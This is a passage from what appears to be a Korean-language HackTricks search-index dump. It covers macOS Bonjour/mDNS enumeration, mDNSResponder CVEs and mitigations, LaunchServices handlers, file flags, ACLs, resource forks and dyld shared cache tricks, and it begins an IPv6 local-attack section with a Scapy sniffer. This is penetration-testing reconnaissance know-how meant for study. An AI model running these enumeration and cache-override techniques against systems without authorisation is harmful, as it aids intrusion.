구성 네트워킹은 장치가 다음을 보장합니다: DHCP 서버가 없는 경우에도 IP 주소를 자동으로 얻을 수 있습니다. DNS 서버 없이 이름-주소 변환 을 수행할 수 있습니다. 네트워크에서 사용 가능한 서비스를 발견 할 수 있습니다. Bonjour를 사용하는 장치는 169.254/16 범위의 IP 주소를 할당 하고 네트워크에서 고유성을 확인합니다. Mac은 이 서브넷에 대한 라우팅 테이블 항목을 유지하며, netstat -rn | grep 169를 통해 확인할 수 있습니다. DNS의 경우, Bonjour는 멀티캐스트 DNS(mDNS) 프로토콜 을 사용합니다. mDNS는 포트 5353/UDP 를 통해 작동하며, 표준 DNS 쿼리 를 사용하지만 멀티캐스트 주소 224.0.0.251 을 대상으로 합니다. 이 접근 방식은 네트워크의 모든 수신 장치가 쿼리를 수신하고 응답할 수 있도록 하여 기록을 업데이트하는 데 도움을 줍니다. 네트워크에 가입할 때 각 장치는 일반적으로 .local 로 끝나는 이름을 자가 선택하며, 이는 호스트 이름에서 파생되거나 무작위로 생성될 수 있습니다. 네트워크 내 서비스 발견은 **DNS 서비스 발견(DNS-SD)**에 의해 촉진됩니다. DNS SRV 레코드의 형식을 활용하여 DNS-SD는 DNS PTR 레코드 를 사용하여 여러 서비스의 목록을 가능하게 합니다. 특정 서비스를 찾는 클라이언트는 .에 대한 PTR 레코드를 요청하며, 서비스가 여러 호스트에서 사용 가능한 경우 .. 형식의 PTR 레코드 목록을 반환받습니다. dns-sd 유틸리티는 네트워크 서비스를 발견하고 광고하는 데 사용될 수 있습니다. 다음은 사용 예시입니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » Bonjour 프로토콜","id":"2204","title":"Bonjour 프로토콜"},"2205":{"body":"네트워크에서 SSH 서비스를 검색하기 위해 다음 명령을 사용합니다: bash dns-sd -B _ssh._tcp 이 명령은 _ssh._tcp 서비스 검색을 시작하고 타임스탬프, 플래그, 인터페이스, 도메인, 서비스 유형 및 인스턴스 이름과 같은 세부 정보를 출력합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » SSH 서비스 검색","id":"2205","title":"SSH 서비스 검색"},"2206":{"body":"HTTP 서비스를 광고하려면 다음을 사용할 수 있습니다: bash dns-sd -R \\"Index\\" _http._tcp . 80 path=/index.html 이 명령은 포트 80에서 /index.html 경로를 가진 \\"Index\\"라는 이름의 HTTP 서비스를 등록합니다. 그런 다음 네트워크에서 HTTP 서비스를 검색하려면: bash dns-sd -B _http._tcp 서비스가 시작되면, 서브넷의 모든 장치에 자신의 가용성을 멀티캐스트하여 알립니다. 이러한 서비스에 관심이 있는 장치는 요청을 보낼 필요 없이 이러한 알림을 듣기만 하면 됩니다. 보다 사용자 친화적인 인터페이스를 위해, Apple App Store에서 제공되는 Discovery - DNS-SD Browser 앱은 로컬 네트워크에서 제공되는 서비스를 시각화할 수 있습니다. 또는, python-zeroconf 라이브러리를 사용하여 서비스를 탐색하고 발견하는 사용자 정의 스크립트를 작성할 수 있습니다. python-zeroconf 스크립트는 _http._tcp.local. 서비스에 대한 서비스 브라우저를 생성하고 추가되거나 제거된 서비스를 출력하는 방법을 보여줍니다: python from zeroconf import ServiceBrowser, Zeroconf class MyListener: def remove_service(self, zeroconf, type, name):\\nprint(\\"Service %s removed\\" % (name,)) def add_service(self, zeroconf, type, name):\\ninfo = zeroconf.get_service_info(type, name)\\nprint(\\"Service %s added, service info: %s\\" % (name, info)) zeroconf = Zeroconf()\\nlistener = MyListener()\\nbrowser = ServiceBrowser(zeroconf, \\"_http._tcp.local.\\", listener)\\ntry:\\ninput(\\"Press enter to exit...\\\\n\\\\n\\")\\nfinally:\\nzeroconf.close()","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » HTTP 서비스 광고","id":"2206","title":"HTTP 서비스 광고"},"2207":{"body":"Nmap NSE – 단일 호스트에서 광고하는 서비스를 발견합니다: bash nmap -sU -p 5353 --script=dns-service-discovery dns-service-discovery 스크립트는 _services._dns-sd._udp.local 쿼리를 전송한 후 각 광고된 서비스 유형을 열거합니다. mdns_recon – 잘못 구성된 mDNS 응답기를 찾기 위해 전체 범위를 스캔하는 Python 도구로, 유니캐스트 쿼리에 응답합니다 (서브넷/WAN을 통해 접근 가능한 장치를 찾는 데 유용): bash git clone https://github.com/chadillac/mdns_recon && cd mdns_recon\\npython3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local 이 명령은 로컬 링크 외부에서 Bonjour를 통해 SSH를 노출하는 호스트를 반환합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » 네트워크를 통한 Bonjour 열거","id":"2207","title":"네트워크를 통한 Bonjour 열거"},"2208":{"body":"연도 CVE 심각도 문제 패치된 버전 2024 CVE-2024-44183 중간 mDNSResponder 의 논리 오류로 인해 조작된 패킷이 서비스 거부 를 유발할 수 있음 macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (2024년 9월) 2025 CVE-2025-31222 높음 mDNSResponder 의 정확성 문제로 인해 로컬 권한 상승 에 악용될 수 있음 macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (2025년 5월) 완화 지침 UDP 5353을 링크 로컬 범위로 제한 – 무선 컨트롤러, 라우터 및 호스트 기반 방화벽에서 차단하거나 속도 제한을 설정합니다. 서비스 발견이 필요하지 않은 시스템에서 Bonjour를 완전히 비활성화합니다: bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist Bonjour가 내부적으로 필요하지만 네트워크 경계를 넘지 않아야 하는 환경에서는 AirPlay Receiver 프로필 제한(MDM) 또는 mDNS 프록시를 사용합니다. **시스템 무결성 보호(SIP)**를 활성화하고 macOS를 최신 상태로 유지합니다 – 위의 두 취약점은 신속하게 패치되었지만 전체 보호를 위해 SIP가 활성화되어 있어야 했습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » 보안 고려 사항 및 최근 취약점 (2024-2025)","id":"2208","title":"보안 고려 사항 및 최근 취약점 (2024-2025)"},"2209":{"body":"보안에 대한 우려나 Bonjour를 비활성화해야 하는 다른 이유가 있는 경우, 다음 명령을 사용하여 끌 수 있습니다: bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » Bonjour 비활성화","id":"2209","title":"Bonjour 비활성화"},"221":{"body":"다음 섹션에서는 같은 /64 세그먼트 내에서 글로벌 접두사를 알지 못한 채 실행할 수 있는 실용적인 레이어-2 IPv6 공격을 다룹니다. 아래에 표시된 모든 패킷은 링크-로컬 이며, 로컬 스위치를 통해서만 이동하므로 대부분의 환경에서 매우 은밀합니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » IPv6 로컬 네트워크 공격 기술","id":"221","title":"IPv6 로컬 네트워크 공격 기술"},"2210":{"body":"The Mac Hacker\'s Handbook https://taomm.org/vol1/analysis.html https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html NVD – CVE-2023-42940 NVD – CVE-2024-44183 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » References","id":"2210","title":"References"},"2211":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS File Extension & URL scheme app handlers » macOS 파일 확장자 및 URL 스킴 앱 핸들러","id":"2211","title":"macOS 파일 확장자 및 URL 스킴 앱 핸들러"},"2212":{"body":"이것은 macOS에 설치된 모든 애플리케이션의 데이터베이스로, 지원하는 URL 스킴 및 MIME 타입과 같은 각 설치된 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다. 이 데이터베이스를 덤프하는 것은 가능합니다: /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump 또한 도구 lsdtrip 를 사용할 수 있습니다. **/usr/libexec/lsd**는 데이터베이스의 두뇌입니다. 여러 XPC 서비스 를 제공합니다. 예를 들어 .lsd.installation, .lsd.open, .lsd.openurl 등이 있습니다. 그러나 노출된 XPC 기능을 사용하기 위해서는 애플리케이션에 대한 일부 권한 이 필요합니다. 예를 들어 mime 유형이나 URL 스킴에 대한 기본 앱을 변경하기 위한 .launchservices.changedefaulthandler 또는 .launchservices.changeurlschemehandler와 같은 권한이 필요합니다. /System/Library/CoreServices/launchservicesd 는 서비스 com.apple.coreservices.launchservicesd를 주장하며 실행 중인 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다. 시스템 도구 / usr/bin/lsappinfo 또는 lsdtrip 로 쿼리할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS File Extension & URL scheme app handlers » LaunchServices 데이터베이스","id":"2212","title":"LaunchServices 데이터베이스"},"2213":{"body":"다음 줄은 확장자에 따라 파일을 열 수 있는 애플리케이션을 찾는 데 유용할 수 있습니다: bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E \\"path:|bindings:|name:\\" 또는 SwiftDefaultApps 와 같은 것을 사용하세요: bash ./swda getSchemes #Get all the available schemes\\n./swda getApps #Get all the apps declared\\n./swda getUTIs #Get all the UTIs\\n./swda getHandler --URL ftp #Get ftp handler 응용 프로그램이 지원하는 확장자를 확인하려면 다음을 수행할 수 있습니다: cd /Applications/Safari.app/Contents\\ngrep -A3 CFBundleTypeExtensions Info.plist | grep string\\ncss\\npdf\\nwebarchive\\nwebbookmark\\nwebhistory\\nwebloc\\ndownload\\nsafariextz\\ngif\\nhtml\\nhtm\\njs\\njpg\\njpeg\\njp2\\ntxt\\ntext\\npng\\ntiff\\ntif\\nurl\\nico\\nxhtml\\nxht\\nxml\\nxbl\\nsvg tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS File Extension & URL scheme app handlers » 파일 확장자 및 URL 스킴 앱 핸들러","id":"2213","title":"파일 확장자 및 URL 스킴 앱 핸들러"},"2214":{"body":"Reading time: 11 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS 파일, 폴더, 바이너리 및 메모리","id":"2214","title":"macOS 파일, 폴더, 바이너리 및 메모리"},"2215":{"body":"/Applications : 설치된 앱이 여기에 있어야 합니다. 모든 사용자가 접근할 수 있습니다. /bin : 명령줄 바이너리 /cores : 존재하는 경우, 코어 덤프를 저장하는 데 사용됩니다. /dev : 모든 것이 파일로 취급되므로 하드웨어 장치가 여기에 저장될 수 있습니다. /etc : 구성 파일 /Library : 환경 설정, 캐시 및 로그와 관련된 많은 하위 디렉토리와 파일을 찾을 수 있습니다. 루트와 각 사용자 디렉토리에 Library 폴더가 존재합니다. /private : 문서화되지 않았지만 언급된 많은 폴더는 개인 디렉토리에 대한 심볼릭 링크입니다. /sbin : 필수 시스템 바이너리(관리와 관련됨) /System : OS X을 실행하기 위한 파일입니다. 여기에는 주로 Apple 전용 파일만 있어야 합니다(서드파티 아님). /tmp : 파일은 3일 후에 삭제됩니다(이는 /private/tmp에 대한 소프트 링크입니다). /Users : 사용자의 홈 디렉토리입니다. /usr : 구성 및 시스템 바이너리 /var : 로그 파일 /Volumes : 마운트된 드라이브가 여기에 나타납니다. /.vol : stat a.txt를 실행하면 16777223 7545753 -rw-r--r-- 1 username wheel ...와 같은 결과를 얻습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 cat /.vol/16777223/7545753를 실행하여 이 파일의 내용을 접근할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 파일 계층 구조","id":"2215","title":"파일 계층 구조"},"2216":{"body":"시스템 애플리케이션 은 /System/Applications 아래에 위치합니다. 설치된 애플리케이션은 일반적으로 /Applications 또는 ~/Applications에 설치됩니다. 애플리케이션 데이터 는 루트로 실행되는 애플리케이션의 경우 /Library/Application Support에, 사용자로 실행되는 애플리케이션의 경우 ~/Library/Application Support에 있습니다. 서드파티 애플리케이션 데몬 은 루트로 실행해야 하는 경우 일반적으로 /Library/PrivilegedHelperTools/에 위치합니다. 샌드박스 앱은 ~/Library/Containers 폴더에 매핑됩니다. 각 앱은 애플리케이션의 번들 ID(com.apple.Safari)에 따라 이름이 지정된 폴더를 가집니다. 커널 은 /System/Library/Kernels/kernel에 위치합니다. Apple의 커널 확장 은 /System/Library/Extensions에 위치합니다. 서드파티 커널 확장 은 /Library/Extensions에 저장됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 애플리케이션 폴더","id":"2216","title":"애플리케이션 폴더"},"2217":{"body":"MacOS는 비밀번호와 같은 정보를 여러 장소에 저장합니다: macOS Sensitive Locations & Interesting Daemons","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 민감한 정보가 포함된 파일","id":"2217","title":"민감한 정보가 포함된 파일"},"2218":{"body":"macOS Installers Abuse","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 취약한 pkg 설치 프로그램","id":"2218","title":"취약한 pkg 설치 프로그램"},"2219":{"body":".dmg : Apple 디스크 이미지 파일은 설치 프로그램에 매우 자주 사용됩니다. .kext : 특정 구조를 따라야 하며 OS X 버전의 드라이버입니다. (번들입니다) .plist : 속성 목록으로도 알려져 있으며 XML 또는 바이너리 형식으로 정보를 저장합니다. XML 또는 바이너리일 수 있습니다. 바이너리는 다음과 같이 읽을 수 있습니다: defaults read config.plist /usr/libexec/PlistBuddy -c print config.plist plutil -p ~/Library/Preferences/com.apple.screensaver.plist plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o - plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o - .app : 디렉토리 구조를 따르는 Apple 애플리케이션입니다(번들입니다). .dylib : 동적 라이브러리(Windows DLL 파일과 유사) .pkg : xar(확장 가능한 아카이브 형식)와 동일합니다. 설치 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다. .DS_Store : 이 파일은 각 디렉토리에 있으며, 디렉토리의 속성과 사용자 정의를 저장합니다. .Spotlight-V100 : 이 폴더는 시스템의 모든 볼륨의 루트 디렉토리에 나타납니다. .metadata_never_index : 이 파일이 볼륨의 루트에 있으면 Spotlight는 해당 볼륨을 인덱싱하지 않습니다. .noindex : 이 확장을 가진 파일과 폴더는 Spotlight에 의해 인덱싱되지 않습니다. .sdef : 번들 내의 파일로, AppleScript에서 애플리케이션과 상호작용하는 방법을 지정합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » OS X 특정 확장","id":"2219","title":"OS X 특정 확장"},"222":{"body":"IPv6 트래픽을 다루기 전에, 자신의 테스트로 인해 오염되는 것을 피하고 대량 패킷 주입/스니핑 중 최상의 성능을 얻기 위해 시스템을 강화하는 것이 좋습니다. bash # Enable promiscuous mode to capture all frames\\nsudo ip link set dev eth0 promisc on # Ignore rogue Router Advertisements & Redirects coming from the segment\\nsudo sysctl -w net.ipv6.conf.all.accept_ra=0\\nsudo sysctl -w net.ipv6.conf.all.accept_redirects=0 # Increase fd / backlog limits when generating lots of traffic\\nsudo sysctl -w fs.file-max=100000\\nsudo sysctl -w net.core.somaxconn=65535\\nsudo sysctl -w net.ipv4.tcp_tw_reuse=1","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 안정적인 실험실을 위한 시스템 조정","id":"222","title":"안정적인 실험실을 위한 시스템 조정"},"2220":{"body":"번들은 Finder에서 객체처럼 보이는 디렉토리 입니다(번들의 예는 *.app 파일입니다). macOS Bundles","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS 번들","id":"2220","title":"macOS 번들"},"2221":{"body":"macOS(및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylibs는 단일 파일 로 결합되어 , dyld 공유 캐시 라고 불립니다. 이는 성능을 향상시켜 코드가 더 빠르게 로드될 수 있게 합니다. 이것은 macOS에서 /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/에 위치하며, 이전 버전에서는 **/System/Library/dyld/**에서 공유 캐시 를 찾을 수 있습니다. iOS에서는 **/System/Library/Caches/com.apple.dyld/**에서 찾을 수 있습니다. dyld 공유 캐시와 유사하게, 커널 및 커널 확장도 부팅 시 로드되는 커널 캐시에 컴파일됩니다. 단일 파일 dylib 공유 캐시에서 라이브러리를 추출하기 위해 dyld_shared_cache_util 이라는 바이너리를 사용할 수 있었으나 현재는 작동하지 않을 수 있으며, dyldextractor 도 사용할 수 있습니다: bash # dyld_shared_cache_util\\ndyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e # dyldextractor\\ndyldex -l [dyld_shared_cache_path] # List libraries\\ndyldex_all [dyld_shared_cache_path] # Extract all\\n# More options inside the readme tip dyld_shared_cache_util 도구가 작동하지 않더라도 공유 dyld 바이너리를 Hopper에 전달하면 Hopper가 모든 라이브러리를 식별하고 조사할 라이브러리를 선택할 수 있게 해줍니다: 일부 추출기는 dylibs가 하드 코딩된 주소로 미리 링크되어 있기 때문에 작동하지 않을 수 있으며, 이로 인해 알 수 없는 주소로 점프할 수 있습니다. tip Xcode의 에뮬레이터를 사용하여 macOS에서 다른 *OS 장치의 공유 라이브러리 캐시를 다운로드하는 것도 가능합니다. 이들은 다음 경로에 다운로드됩니다: ls $HOME/Library/Developer/Xcode/<*>OS\\\\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/, 예: $HOME/Library/Developer/Xcode/iOS\\\\ DeviceSupport/14.1\\\\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » Dyld 공유 라이브러리 캐시 (SLC)","id":"2221","title":"Dyld 공유 라이브러리 캐시 (SLC)"},"2222":{"body":"**dyld**는 SLC가 매핑되었는지 확인하기 위해 시스템 호출 **shared_region_check_np**를 사용하고 (주소를 반환함) **shared_region_map_and_slide_np**를 사용하여 SLC를 매핑합니다. SLC가 첫 번째 사용 시 슬라이드되더라도 모든 프로세스 는 같은 복사본 을 사용하므로, 공격자가 시스템에서 프로세스를 실행할 수 있다면 ASLR 보호가 제거됩니다. 이는 과거에 실제로 악용되었으며 공유 영역 페이저로 수정되었습니다. 브랜치 풀은 이미지 매핑 사이에 작은 공간을 만들어 함수의 중간 개입을 불가능하게 만드는 작은 Mach-O dylibs입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » SLC 매핑","id":"2222","title":"SLC 매핑"},"2223":{"body":"환경 변수를 사용하여: DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1 -> 새로운 공유 라이브러리 캐시를 로드할 수 있게 해줍니다. DYLD_SHARED_CACHE_DIR=avoid 및 실제 라이브러리로의 심볼릭 링크로 공유 캐시의 라이브러리를 수동으로 교체합니다 (추출해야 함).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » SLC 재정의","id":"2223","title":"SLC 재정의"},"2224":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 특별 파일 권한","id":"2224","title":"특별 파일 권한"},"2225":{"body":"폴더 에서 읽기 는 목록을 나열할 수 있게 하고, 쓰기 는 파일을 삭제하고 작성할 수 있게 하며, 실행 은 디렉토리를 탐색할 수 있게 합니다. 예를 들어, 실행 권한이 없는 디렉토리 내의 파일에 대해 읽기 권한이 있는 사용자 는 파일을 읽을 수 없습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 폴더 권한","id":"2225","title":"폴더 권한"},"2226":{"body":"파일에 설정할 수 있는 몇 가지 플래그가 있으며, 이로 인해 파일이 다르게 동작할 수 있습니다. ls -lO /path/directory로 디렉토리 내 파일의 플래그를 확인할 수 있습니다 . uchg : uchange 플래그로, 파일 의 변경 또는 삭제를 방지합니다 . 설정하려면: chflags uchg file.txt 루트 사용자는 플래그를 제거하고 파일을 수정할 수 있습니다 . restricted : 이 플래그는 파일이 SIP에 의해 보호되도록 합니다 (이 플래그를 파일에 추가할 수 없습니다). Sticky bit : 스티키 비트가 있는 디렉토리에서는 오직 디렉토리 소유자 또는 루트만 파일을 이름 변경하거나 삭제할 수 있습니다 . 일반적으로 이는 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하지 못하도록 합니다. 모든 플래그는 파일 sys/stat.h에서 찾을 수 있으며 (다음 명령어로 찾을 수 있습니다: mdfind stat.h | grep stat.h) 다음과 같습니다: UF_SETTABLE 0x0000ffff: 소유자 변경 가능 플래그의 마스크. UF_NODUMP 0x00000001: 파일 덤프를 하지 않음. UF_IMMUTABLE 0x00000002: 파일을 변경할 수 없음. UF_APPEND 0x00000004: 파일에 대한 쓰기는 오직 추가만 가능. UF_OPAQUE 0x00000008: 디렉토리는 유니온에 대해 불투명함. UF_COMPRESSED 0x00000020: 파일이 압축됨 (일부 파일 시스템). UF_TRACKED 0x00000040: 이 설정이 있는 파일에 대한 삭제/이름 변경 알림 없음. UF_DATAVAULT 0x00000080: 읽기 및 쓰기에 대한 권한 필요. UF_HIDDEN 0x00008000: 이 항목이 GUI에 표시되지 않아야 함을 나타냄. SF_SUPPORTED 0x009f0000: 슈퍼유저 지원 플래그의 마스크. SF_SETTABLE 0x3fff0000: 슈퍼유저 변경 가능 플래그의 마스크. SF_SYNTHETIC 0xc0000000: 시스템 읽기 전용 합성 플래그의 마스크. SF_ARCHIVED 0x00010000: 파일이 아카이브됨. SF_IMMUTABLE 0x00020000: 파일을 변경할 수 없음. SF_APPEND 0x00040000: 파일에 대한 쓰기는 오직 추가만 가능. SF_RESTRICTED 0x00080000: 쓰기에 대한 권한 필요. SF_NOUNLINK 0x00100000: 항목을 제거, 이름 변경 또는 마운트할 수 없음. SF_FIRMLINK 0x00800000: 파일이 firmlink임. SF_DATALESS 0x40000000: 파일이 데이터 없는 객체임.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 플래그 수정자","id":"2226","title":"플래그 수정자"},"2227":{"body":"파일 ACLs 는 ACE (Access Control Entries)를 포함하여 서로 다른 사용자에게 더 세분화된 권한 을 부여할 수 있습니다. 디렉토리 에 다음 권한을 부여할 수 있습니다: list, search, add_file, add_subdirectory, delete_child, delete_child. 그리고 파일 에 대해서는: read, write, append, execute. 파일에 ACL이 포함되어 있으면 권한을 나열할 때 \\"+\\"가 표시됩니다 : bash ls -ld Movies\\ndrwx------+ 7 username staff 224 15 Apr 19:42 Movies 파일의 ACLs 를 읽으려면: bash ls -lde Movies\\ndrwx------+ 7 username staff 224 15 Apr 19:42 Movies\\n0: group:everyone deny delete 모든 ACL이 있는 파일 을 찾으려면 (이것은 매우 느립니다): bash ls -RAle / 2>/dev/null | grep -E -B1 \\"\\\\d: \\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 파일 ACLs","id":"2227","title":"파일 ACLs"},"2228":{"body":"확장 속성은 이름과 원하는 값을 가지며, ls -@를 사용하여 볼 수 있고 xattr 명령어를 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다: com.apple.resourceFork: 리소스 포크 호환성. filename/..namedfork/rsrc로도 볼 수 있음 com.apple.quarantine: MacOS: Gatekeeper 격리 메커니즘 (III/6) metadata:*: MacOS: _backup_excludeItem 또는 kMD*와 같은 다양한 메타데이터 com.apple.lastuseddate (#PS): 마지막 파일 사용 날짜 com.apple.FinderInfo: MacOS: Finder 정보 (예: 색상 태그) com.apple.TextEncoding: ASCII 텍스트 파일의 텍스트 인코딩을 지정 com.apple.logd.metadata: /var/db/diagnostics의 파일에서 logd에 의해 사용됨 com.apple.genstore.*: 세대 저장소 (/.DocumentRevisions-V100 파일 시스템의 루트에 위치) com.apple.rootless: MacOS: 시스템 무결성 보호에 의해 파일에 레이블을 붙이는 데 사용됨 (III/10) com.apple.uuidb.boot-uuid: 고유 UUID로 부팅 에포크의 logd 마킹 com.apple.decmpfs: MacOS: 투명 파일 압축 (II/7) com.apple.cprotect: *OS: 파일별 암호화 데이터 (III/11) com.apple.installd.*: *OS: installd에 의해 사용되는 메타데이터, 예: installType, uniqueInstallID","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 확장 속성","id":"2228","title":"확장 속성"},"2229":{"body":"이는 MacOS에서 대체 데이터 스트림 을 얻는 방법입니다. file/..namedfork/rsrc 에 있는 확장 속성 com.apple.ResourceFork 안에 내용을 저장할 수 있습니다. bash echo \\"Hello\\" > a.txt\\necho \\"Hello Mac ADS\\" > a.txt/..namedfork/rsrc xattr -l a.txt #Read extended attributes\\ncom.apple.ResourceFork: Hello Mac ADS ls -l a.txt #The file length is still q\\n-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt 다음 명령어로 이 확장 속성을 포함하는 모든 파일을 찾을 수 있습니다 : bash find / -type f -exec ls -ld {} \\\\; 2>/dev/null | grep -E \\"[x\\\\-]@ \\" | awk \'{printf $9; printf \\"\\\\n\\"}\' | xargs -I {} xattr -lv {} | grep \\"com.apple.ResourceFork\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » 리소스 포크 | macOS ADS","id":"2229","title":"리소스 포크 | macOS ADS"},"223":{"body":"모든 IPv6 호스트가 자동으로 여러 멀티캐스트 그룹에 가입 하고 (ff02::1, ff02::2, …) SLAAC/NDP를 위해 ICMPv6를 사용하기 때문에, 단일 패킷을 전송하지 않고도 전체 세그먼트를 매핑할 수 있습니다. 다음의 Python/Scapy 원라이너는 가장 흥미로운 L2 메시지를 수신하고 누가 누구인지에 대한 색상 있는 타임스탬프 로그를 출력합니다: python #!/usr/bin/env python3\\nfrom scapy.all import *\\nfrom scapy.layers.dhcp6 import *\\nfrom datetime import datetime\\nfrom colorama import Fore, Style, init\\nimport argparse init(autoreset=True) # Human-readable names for protocols we care about\\nDHCP6_TYPES = {\\nDHCP6_Solicit: \'Solicit\',\\nDHCP6_Advertise: \'Advertise\',\\nDHCP6_Request: \'Request\',\\nDHCP6_Reply: \'Reply\',\\nDHCP6_Renew: \'Renew\',\\nDHCP6_Rebind: \'Rebind\',\\nDHCP6_RelayForward:\'Relay-Forward\',\\nDHCP6_RelayReply: \'Relay-Reply\'\\n}\\nICMP6_TYPES = {\\nICMPv6ND_RS: (\'Router Solicitation\', Fore.CYAN),\\nICMPv6ND_RA: (\'Router Advertisement\', Fore.GREEN),\\nICMPv6ND_NS: (\'Neighbor Solicitation\',Fore.BLUE),\\nICMPv6ND_NA: (\'Neighbor Advertisement\',Fore.MAGENTA),\\nICMPv6ND_Redirect:(\'Redirect\', Fore.LIGHTRED_EX),\\nICMPv6MLReport: (\'MLD Report\', Fore.LIGHTCYAN_EX),\\nICMPv6MLReport2: (\'MLD Report\', Fore.LIGHTCYAN_EX),\\nICMPv6MLDone: (\'MLD Done\', Fore.LIGHTCYAN_EX),\\nICMPv6EchoRequest:(\'Echo Request\', Fore.LIGHTBLACK_EX),\\nICMPv6EchoReply: (\'Echo Reply\', Fore.LIGHTBLACK_EX)\\n} def handler(pkt):\\neth_src = pkt[Ether].src if Ether in pkt else \'?\'\\neth_dst = pkt[Ether].dst if Ether in pkt else \'?\'\\nip6_src = pkt[IPv6].src if IPv6 in 